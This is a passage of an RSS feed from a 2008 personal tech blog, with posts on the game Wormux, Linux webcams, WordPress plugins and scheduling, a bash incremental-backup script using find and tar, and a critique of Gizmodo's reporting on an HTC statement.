&lt;p&gt;Well, if you dream about conversing like this, then you are better off playing something like COD4 or BF2, but if you are into a little bit less intense military warfare, and are a fan of games like worms, tanks, etc (I&amp;rsquo;m a convicted &lt;a href="http://en.wikipedia.org/wiki/Worms_World_Party"&gt;Worms World Party&lt;/a&gt; addict on my HTC Wizard) then you are in for countless fun-filled, sleepless nights. With &lt;a href="http://www.wormux.org/"&gt;Wormux&lt;/a&gt;.&lt;/p&gt;</description><content>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Alpha to Bravo, over. Come in, Bravo, over.. We are under attack, over.. Send reinforcements asap. over and out&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Well, if you dream about conversing like this, then you are better off playing something like COD4 or BF2, but if you are into a little bit less intense military warfare, and are a fan of games like worms, tanks, etc (I&amp;rsquo;m a convicted &lt;a href="http://en.wikipedia.org/wiki/Worms_World_Party"&gt;Worms World Party&lt;/a&gt; addict on my HTC Wizard) then you are in for countless fun-filled, sleepless nights. With &lt;a href="http://www.wormux.org/"&gt;Wormux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the words of its developers:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Wormux is pre-eminently a &amp;ldquo;&lt;strong&gt;convivial mass murder&lt;/strong&gt;&amp;rdquo; game where, turn by turn, each member of each team attempts to produce a maximum of damage to his opponents.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/worms1.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/worms1_thumb.jpg" alt="Wormux 1"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/worms2.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/worms2_thumb.jpg" alt="Wormux 2"&gt;&lt;/a&gt; &lt;a href="https://shantanugoel.com/img/uploads/worms3.jpg"&gt;&lt;img src="https://shantanugoel.com/img/uploads/worms3_thumb.jpg" alt="Wormux 3"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But whats a murder strategy game without a big arsenal of close and long range weapons at your disposal. So, you get baseball bats, guns, bazookas, dynamite, grenades, mines, bouncing balls (and you can make your own, if you can code). Gameplay, sticking to the original theme, is turn based. You have to kill your opponent before he kills you. And the innovation to achieve that is limited only by the limits imposed by your mind. You can play locally against bots or on network to have some cartoony fun with your friends, or to watch your super tux draw first blood of your rivals.&lt;/p&gt;
&lt;p&gt;Its available for a plethora of platforms including linux, windows, mac and FreeBSD, and the clincher, its F-R-E-E (as in speech as well as in lunch, beer, whatever). You still here? You should have rushed to the Wormux Downloads before I got to the first &amp;ldquo;E&amp;rdquo; of FREE.&lt;/p&gt;</content></item><item><title>Linux: Webcam Fun</title><link>https://shantanugoel.com/2008/03/02/linux-webcam-fun/</link><pubDate>Sun, 02 Mar 2008 03:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/02/linux-webcam-fun/</guid><description>&lt;p&gt;If you thought that a webcam is just for getting in visual touch with your distant friends, then you could not be more wrong. There are many other uses e.g., making videos, rudimentary security systems, etc. But I didn&amp;rsquo;t know that it&amp;rsquo;d be as simple as a a few keystrokes and a couple of clicks, until I stumbled across this article on Linux.com - &lt;a href="http://www.linux.com/feature/126186"&gt;Five fun ways to use a Linux webcam&lt;/a&gt;. It lists out the following five things that can be achieved ever so easily with a webcam and your linux box:&lt;/p&gt;</description><content>&lt;p&gt;If you thought that a webcam is just for getting in visual touch with your distant friends, then you could not be more wrong. There are many other uses e.g., making videos, rudimentary security systems, etc. But I didn&amp;rsquo;t know that it&amp;rsquo;d be as simple as a a few keystrokes and a couple of clicks, until I stumbled across this article on Linux.com - &lt;a href="http://www.linux.com/feature/126186"&gt;Five fun ways to use a Linux webcam&lt;/a&gt;. It lists out the following five things that can be achieved ever so easily with a webcam and your linux box:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Record Yourself&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make a Video Streaming webserver&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Monitor your house&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ASCIIfy your image&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;More fun with your videos and stills&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Do check it out at the aforementioned link.&lt;/p&gt;</content></item><item><title>Idea Factory: Some Of My Latest Musings</title><link>https://shantanugoel.com/2008/03/01/idea-factory-some-of-my-latest-wonderings/</link><pubDate>Sat, 01 Mar 2008 03:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/01/idea-factory-some-of-my-latest-wonderings/</guid><description>&lt;p&gt;&lt;a href="http://www.jeffro2pt0.com/contribute-to-wordpress-contest#comment-2395"&gt;jeffro2pt0&lt;/a&gt; has a little contest going on his blog, giving out coupons to wpdesigners.com which lets you get atleast 12 WordPress themes for just 5$. Only thing you have to do is give a &lt;strong&gt;&lt;em&gt;unique&lt;/em&gt;&lt;/strong&gt; idea that could help improve wordpress. Now, I don’t want anymore themes (actually I’m a cheap-skate who can’t spend even 5$ for a theme, unless one of you decides to get me one &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt; ), but I got a few ideas instantly.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://www.jeffro2pt0.com/contribute-to-wordpress-contest#comment-2395"&gt;jeffro2pt0&lt;/a&gt; has a little contest going on his blog, giving out coupons to wpdesigners.com which lets you get atleast 12 WordPress themes for just 5$. Only thing you have to do is give a &lt;strong&gt;&lt;em&gt;unique&lt;/em&gt;&lt;/strong&gt; idea that could help improve wordpress. Now, I don’t want anymore themes (actually I’m a cheap-skate who can’t spend even 5$ for a theme, unless one of you decides to get me one &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt; ), but I got a few ideas instantly.&lt;/p&gt;
&lt;p&gt;I’m going on a week’s vacation with no net connection, hence this sprang to my mind. What if I can “&lt;strong&gt;call&lt;/strong&gt;” my blog? If I can install a VOIP gateway kind of thing on my web server (or maybe use a third party one, like skype?) and give it access to my database. Now, I can just call my blog’s number from any phone in the world and the possibilities are now endless. e.g.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;I could moderate comments through a voice mail like system, the blog can read out the comments to me, using text-to-speech, and I can press buttons, or use IVR to moderate them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I could even call in and “dictate” posts to my blog that can be published. Thus we will be saved from writing a lot of future posts before going on vacations (like I’m doing right now &lt;img src="https://shantanugoel.com/img/uploads/smile9.gif" alt=""&gt; )&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Can you think of any more uses of this? Or can you think of any other innovative ideas for improving WordPress, or blogging in general? If yes, then let me know. Lets see what ideas those great minds out there can spin out..&lt;/p&gt;</content></item><item><title>WordPress Must Have Plugins: Download Managers</title><link>https://shantanugoel.com/2008/02/29/wordpress-must-have-plugins-download-managers/</link><pubDate>Fri, 29 Feb 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/02/29/wordpress-must-have-plugins-download-managers/</guid><description>&lt;p&gt;If you serve any kind of files for download on your WordPress blog(s), one thing you should definitly be looking out for is a download manager plugin. Post attachments are oh-so-2007. Uploading files to your server and hand-posting links everywhere is a pain in the butt. And what about your hunger for statistics?&lt;/p&gt;
&lt;p&gt;Well, if you agree with me, then i would like to tell you about two fantastic plugins:&lt;/p&gt;</description><content>&lt;p&gt;If you serve any kind of files for download on your WordPress blog(s), one thing you should definitly be looking out for is a download manager plugin. Post attachments are oh-so-2007. Uploading files to your server and hand-posting links everywhere is a pain in the butt. And what about your hunger for statistics?&lt;/p&gt;
&lt;p&gt;Well, if you agree with me, then i would like to tell you about two fantastic plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://urbangiraffe.com/plugins/drain-hole/"&gt;Drain Hole&lt;/a&gt;:&lt;/strong&gt; This is a real time saver. Some of the features are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Automatic scanning of directories to generate downloadable files.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Simple interface to upload files&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Categorized downloads&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;SEO urls (no more of those weird links)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automatic hotlink protection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Simple integration with SVN repositories&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can maintain versions of the files (cool !!)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Download urls can be different from their actual path in your server&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can even pick files from directories residing out of your www or public_html directory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Superior download security by assigning permissions based on WordPress user roles.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Template tags allow you to insert any particular file(s) or list of all files or files in particular folder on any post, page, sidebar widget&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Statistics - no. of downloads, IP addresses, referrers, etc&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Can force files like php, html, txt etc to be downloaded rather than displaying in browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pretty, can attach icons to files for displaying, different templates can be used for displaying files&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;and…..AJAX &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt=""&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;phew, lemme catch my breath here…you can download it from &lt;a href="http://wordpress.org/extend/plugins/drain-hole/"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="http://software.y-zone.net/?page_id=3"&gt;WP-Vault&lt;/a&gt;&lt;/strong&gt;: This is the second best plugin I could find in this category. It is not as feature rich as Drain Hole, e.g., it misses SEO URls, hotlink protection, svn integration, versioning, etc, but it does have its own set of interesting features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;get files from FTP/HTTP directly without downloading to computer first. (a real time saver)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Image galleries from stored images.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supports WordPress&amp;rsquo; caching mechanism to reduce load on database.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can take your own pick out of the two. And yeah, this blog uses Drain Hole, if you must ask.&lt;/p&gt;</content></item><item><title>One Month Completed....</title><link>https://shantanugoel.com/2008/02/28/one-month-completed/</link><pubDate>Thu, 28 Feb 2008 04:10:00 +0000</pubDate><guid>https://shantanugoel.com/2008/02/28/one-month-completed/</guid><description>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/trophy_small.jpg" alt="tech.shantanugoel.com completes one month"&gt;&lt;/p&gt;
&lt;p&gt;Today, this blog completes one month of its existence in this world. The achievements, although minuscule in comparison to all the biggies out there, are significant for me. It achieved the following things in just 30 days from the first post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Front-paged at &lt;a href="http://lifehacker.com/358749/retrieve-any-file-on-your-home-computer-via-email-windows-edition"&gt;LifeHacker&lt;/a&gt;, &lt;a href="http://hackszine.com/blog/archive/2008/02/remote_file_access_through_ema.html"&gt;HacksZine&lt;/a&gt;, and &lt;a href="http://www.google.co.in/search?q=shantanu+goel+remote+file+access+through+e-mail+outlook&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:en-US:official&amp;amp;client=firefox-a"&gt;many others&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 10000 (Ten Thousand) &amp;ldquo;&lt;strong&gt;unique&lt;/strong&gt;&amp;rdquo; &lt;strong&gt;&lt;em&gt;human&lt;/em&gt;&lt;/strong&gt; visitors.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 30000 (Thirty Thousand) page views by &lt;strong&gt;&lt;em&gt;humans&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 500000 (Half Million) total hits for all website files included.&lt;/p&gt;</description><content>&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/trophy_small.jpg" alt="tech.shantanugoel.com completes one month"&gt;&lt;/p&gt;
&lt;p&gt;Today, this blog completes one month of its existence in this world. The achievements, although minuscule in comparison to all the biggies out there, are significant for me. It achieved the following things in just 30 days from the first post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Front-paged at &lt;a href="http://lifehacker.com/358749/retrieve-any-file-on-your-home-computer-via-email-windows-edition"&gt;LifeHacker&lt;/a&gt;, &lt;a href="http://hackszine.com/blog/archive/2008/02/remote_file_access_through_ema.html"&gt;HacksZine&lt;/a&gt;, and &lt;a href="http://www.google.co.in/search?q=shantanu+goel+remote+file+access+through+e-mail+outlook&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=com.ubuntu:en-US:official&amp;amp;client=firefox-a"&gt;many others&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 10000 (Ten Thousand) &amp;ldquo;&lt;strong&gt;unique&lt;/strong&gt;&amp;rdquo; &lt;strong&gt;&lt;em&gt;human&lt;/em&gt;&lt;/strong&gt; visitors.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 30000 (Thirty Thousand) page views by &lt;strong&gt;&lt;em&gt;humans&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Over 500000 (Half Million) total hits for all website files included.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Around 800 downloads of my projects&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Makes it to the first page on google for many keywords (like wm6.1 htc wizard, ubuntu two soundcards, and many others)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A &lt;a href="http://www.google.co.in/search?q=shantanu+goel"&gt;google&lt;/a&gt; or &lt;a href="http://search.yahoo.com/search?p=shantanu+goel"&gt;yahoo&lt;/a&gt; search for my name “shantanu goel” now gives around 6–7 links about me (4–5 from this blog) out of the first 10 results. (This changes quite dynamically though)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But this is all because of you, the readers. Thanks a lot and keep coming. I hope I can continue writing stuff you like, because ultimately a blog is written for the people and not for search engines.&lt;/p&gt;</content></item><item><title> TIP: Automating Website Backups - Part IIb (Reducing Backup Size Contd.)</title><link>https://shantanugoel.com/2008/02/28/tip-automating-website-backups-part-iib-reducing-backup-size-contd/</link><pubDate>Thu, 28 Feb 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/02/28/tip-automating-website-backups-part-iib-reducing-backup-size-contd/</guid><description>&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/2008/02/25/tip-automating-website-backups-part-ii-reducing-backup-size.html"&gt;Last time&lt;/a&gt;, I had told you about how to reduce the backup size. Well, this is a short note further developing on the approaches discussed there. Basically, telling tar to backup only those files which have changed. For this, Linux has a command “find” which I am very fond of. You can give it a option “-newer” followed by a f”&lt;em&gt;filename&lt;/em&gt;” and it will return the names of the files that are newer than &lt;em&gt;filename&lt;/em&gt;.&lt;/p&gt;</description><content>&lt;p&gt;&lt;a href="http://tech.shantanugoel.com/2008/02/25/tip-automating-website-backups-part-ii-reducing-backup-size.html"&gt;Last time&lt;/a&gt;, I had told you about how to reduce the backup size. Well, this is a short note further developing on the approaches discussed there. Basically, telling tar to backup only those files which have changed. For this, Linux has a command “find” which I am very fond of. You can give it a option “-newer” followed by a f”&lt;em&gt;filename&lt;/em&gt;” and it will return the names of the files that are newer than &lt;em&gt;filename&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;find ~ -type f -newer ~/backups/backup_x.tgz &amp;gt; files.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, the command given above will find all the files that have changed since you took the backup “&lt;em&gt;backup_x.tgz&lt;/em&gt;” and store those filenames and paths into “_files.txt”. _The “-type f” option makes sure that only filenames are listed and not directory names, because tar creates a lot of issues when presented with directory names (Explore yourself about this).&lt;/p&gt;
&lt;p&gt;Now, all we have to do is give this “&lt;em&gt;files.txt&lt;/em&gt;” to tar as an input to tell it which files to archive.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tar cvzpGf ~/backups/backup_$date.tgz -T files.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The “-T files.txt” option makes this happen. Moreover, I have introduced 2 new options here, that were not present in our last part. They are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;p – Tells tar to preserve file permissions&lt;/li&gt;
&lt;li&gt;G – Tells tar to ignore any file read errors etc and continue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Apart from this, you can also take a look at the “-mtime x” option for find command which lets you specify to list files which have changed in past x days. There are other similar options available for find. Look at “man find” and take your pick. Similar options exist for tar, but I have had a lot of weird issues using them, so I’d recommend sticking with this two step process of “find” followed by “tar”.&lt;/p&gt;
&lt;p&gt;Now, the above mentioned commands and options can be used in innumerous ways and combinations to achieve your perfect balance of space and ease of use etc for backups. I’ll list down a sample script here, that will make a full backup on every first day of the week, and then make incremental backups over each day for rest 6 days. So, you’ll save a lot of space (more than 5 times), but you will have to use all 7 backup files to make a full restore. (I’m listing just the backup part, you can add the “mutt” command yourself, for e-mailing as mentioned in &lt;a href="http://tech.shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;Part I&lt;/a&gt;)&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; date&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; ! -e &lt;span style="color:#e6db74"&gt;&amp;#34;test/a&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#f92672"&gt;[&lt;/span&gt; -z &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$date&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;]&lt;/span&gt;; &lt;span style="color:#66d9ef"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tar cvzpGf ~/backups/backup_&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;date +%w&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;.tgz ~/public_html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo inif
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; date2&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$((&lt;/span&gt;$date&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; find ~ -type f -newer ~/backups/backup_$date2 &amp;gt; files.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tar cvzpGf ~/backups/backup_$date.tgz -T files.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That’s it for today. Lemme know if you have any doubts, or if you would like to see any other questions answered in this series. The question that will be answered next time is:&lt;/p&gt;
&lt;p&gt;**Q2: **Cron? Using tar, making up the script file is enough command line for me. Isn’t there an easy way?&lt;/p&gt;</content></item><item><title>TIP: Move Your WordPress Blog, And Leave The Trash Behind</title><link>https://shantanugoel.com/2008/02/27/tip-move-your-wordpress-blog-and-leave-the-trash-behind/</link><pubDate>Wed, 27 Feb 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/02/27/tip-move-your-wordpress-blog-and-leave-the-trash-behind/</guid><description>&lt;p&gt;If you are moving your blog, or just want to start afresh, you would definitely use some way to import your old content into the new place, instead of manually copying and pasting everything. Generally this means saving your database and importing into the new place. But:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You have seen WordPress importing your/others&amp;rsquo; blogs from other services automatically. Wasn&amp;rsquo;t that quick and easy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your databse has become overly full of so much trash over the years and you would like to trim out all the fat and take just the meat (the posts, pages, comments, tags, custom fields etc)&lt;/p&gt;</description><content>&lt;p&gt;If you are moving your blog, or just want to start afresh, you would definitely use some way to import your old content into the new place, instead of manually copying and pasting everything. Generally this means saving your database and importing into the new place. But:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;You have seen WordPress importing your/others&amp;rsquo; blogs from other services automatically. Wasn&amp;rsquo;t that quick and easy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your databse has become overly full of so much trash over the years and you would like to trim out all the fat and take just the meat (the posts, pages, comments, tags, custom fields etc)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So?? Did you know that WordPress can import from WordPress?&lt;/p&gt;
&lt;p&gt;Well, WordPress gives you way to &amp;ldquo;export&amp;rdquo; your blog into an XML file that they call as &amp;ldquo;&lt;a href="http://codex.wordpress.org/Administration_Panels#Import"&gt;WordPress eXtended RSS&lt;/a&gt;&amp;rdquo; (or WXR in short). And then, you can just wipe out everything (or go to your new server), install WP afresh and just import this file into it. A no frills, easy way to make your blog lean again, without losing out on any content.&lt;/p&gt;
&lt;p&gt;For more details, read Jeffro2pt0&amp;rsquo;s post on &lt;a href="http://weblogtoolscollection.com/archives/2008/02/25/reformatting-wordpress"&gt;weblogstoolcollection.com&lt;/a&gt;.&lt;/p&gt;</content></item><item><title>HTC Video Drivers: But This Is Not A Post About HTC</title><link>https://shantanugoel.com/2008/02/26/htc-video-drivers-but-this-is-not-a-post-about-htc/</link><pubDate>Tue, 26 Feb 2008 11:14:36 +0000</pubDate><guid>https://shantanugoel.com/2008/02/26/htc-video-drivers-but-this-is-not-a-post-about-htc/</guid><description>&lt;p&gt;This is a post about irresponsible/careless journalism/bloggism. For Gizmodo, getting that post about HTC’s latest press release out the door took precedence over actually **reading **the release properly and then commenting over it. The gizmodo poster’s comment is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;……but HTC&amp;rsquo;s finally released a statement saying that a fix is coming. They say that the &lt;strong&gt;video acceleration &lt;em&gt;will&lt;/em&gt; be supported in the future, and will be included in software upgrades for current devices&lt;/strong&gt;…….&lt;/p&gt;</description><content>&lt;p&gt;This is a post about irresponsible/careless journalism/bloggism. For Gizmodo, getting that post about HTC’s latest press release out the door took precedence over actually **reading **the release properly and then commenting over it. The gizmodo poster’s comment is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;……but HTC&amp;rsquo;s finally released a statement saying that a fix is coming. They say that the &lt;strong&gt;video acceleration &lt;em&gt;will&lt;/em&gt; be supported in the future, and will be included in software upgrades for current devices&lt;/strong&gt;…….&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I’m still puzzled, after reading and rereading HTC’s (pretty short) statement 10 times over and I can’t find where it is mentioned that they will provide video acceleration for the current devices. My point is that if you don’t read it yourself, then better not release it to your readers, (or atleast refrain from commenting on it improperly, if you must be ahead in the “race”).&lt;/p&gt;
&lt;p&gt;Read the statement below (and for actual post on Gizmodo, click &lt;a href="http://gizmodo.com/360514/htc-says-software-fix-is-coming-for-lousy-video-drivers"&gt;here&lt;/a&gt;)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Some of our top engineers have investigated video performance on our devices and have discovered a fix that they claim will dramatically improve performance for common on-screen tasks like scrolling and the like. Their fix would help most of our recent touch-screen products including the Touch family of devices and TYTN II / Tilt, Mogul / XV6900. The update is in testing and we hope to release it soon. However this fix is not a new video driver to utilize hardware acceleration; it is a software optimization. Video drivers are a much more complicated issue that involves companies and engineers beyond HTC alone. We do not want to lead anyone to believe they should expect these. To explain why we are not releasing video acceleration instead of the optimization I offer you our official statement&amp;hellip; &amp;ldquo;HTC DOES plan to offer software upgrades that will increase feature functionality, over the air wireless speeds and other enhancements for some of the phones being criticized, but we do not anticipate including any additional support for the video acceleration issues cited in customer complaints. It is important for customers to understand that bringing this functionality to market is not a trivial driver update and requires extensive software development and time. HTC will utilize hardware video acceleration like the ATI Imageon in many upcoming products. Our users have made it clear that they expect our products to offer an improved visual experience, and we have included this feedback into planning and development of future products. To address lingering questions about HTC&amp;rsquo;s current MSM 7xxx devices, it is important to establish that a chipset like an MSM7xxx is a platform with a vast multitude of features that enable a wide range of devices with varied functionality. It is common that devices built on platforms like Qualcomm&amp;rsquo;s will not enable every feature or function. In addition to making sure the required hardware is present, unlocking extended capabilities of chipsets like the MSM 7xxx requires in-depth and time consuming software development, complicated licensing negotiations, potential intellectual property negotiations, added licensing fees, and in the case of devices that are sold through operators, the desire of the operator to include the additional functionality. To make an informed decision about which handset suits them best, consumers should look at the product specification itself instead of using the underlying chipset specifications to define what the product could potentially become.&amp;rdquo;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The video drivers for HTC Wizard are now out. They are in beta stage but are working fine for me. You can find them &lt;a href="http://forum.xda-developers.com/showthread.php?t=364066"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</content></item><item><title>TIP: WordPress Posts Scheduling - Back To The Future (or Blast From The Past?)</title><link>https://shantanugoel.com/2008/02/26/tip-wordpress-posts-scheduling-back-to-the-future-or-blast-from-the-past/</link><pubDate>Tue, 26 Feb 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/02/26/tip-wordpress-posts-scheduling-back-to-the-future-or-blast-from-the-past/</guid><description>&lt;p&gt;If you are like me (I mean underpaid, overworked, coding zombie), then the only time you find for blogging is weekends. To keep your readers happy and satisfied through the week, the only options you have are burning the midnight electricity (what? You still use oil? :P) or paying up your son/nephew/wife/etc to push the publish button regularly for the drafts you wrote on weekend. Right? &lt;strong&gt;WRONG&lt;/strong&gt;….&lt;/p&gt;
&lt;p&gt;Matt and his AutoMattic team took care of bonded labour like us, and had the good heart to put in the capability of scheduling posts in WordPress (More commonly known as “&lt;em&gt;future posting&lt;/em&gt;”). So, all you have to do is say “Hey Wordy boy, here is a bagful of my posts, but don’t you dare release them before I’ve gone for my hawaii vacation. And yeah, one at a time so it can keep your tummy full till I return.”&lt;/p&gt;</description><content>&lt;p&gt;If you are like me (I mean underpaid, overworked, coding zombie), then the only time you find for blogging is weekends. To keep your readers happy and satisfied through the week, the only options you have are burning the midnight electricity (what? You still use oil? :P) or paying up your son/nephew/wife/etc to push the publish button regularly for the drafts you wrote on weekend. Right? &lt;strong&gt;WRONG&lt;/strong&gt;….&lt;/p&gt;
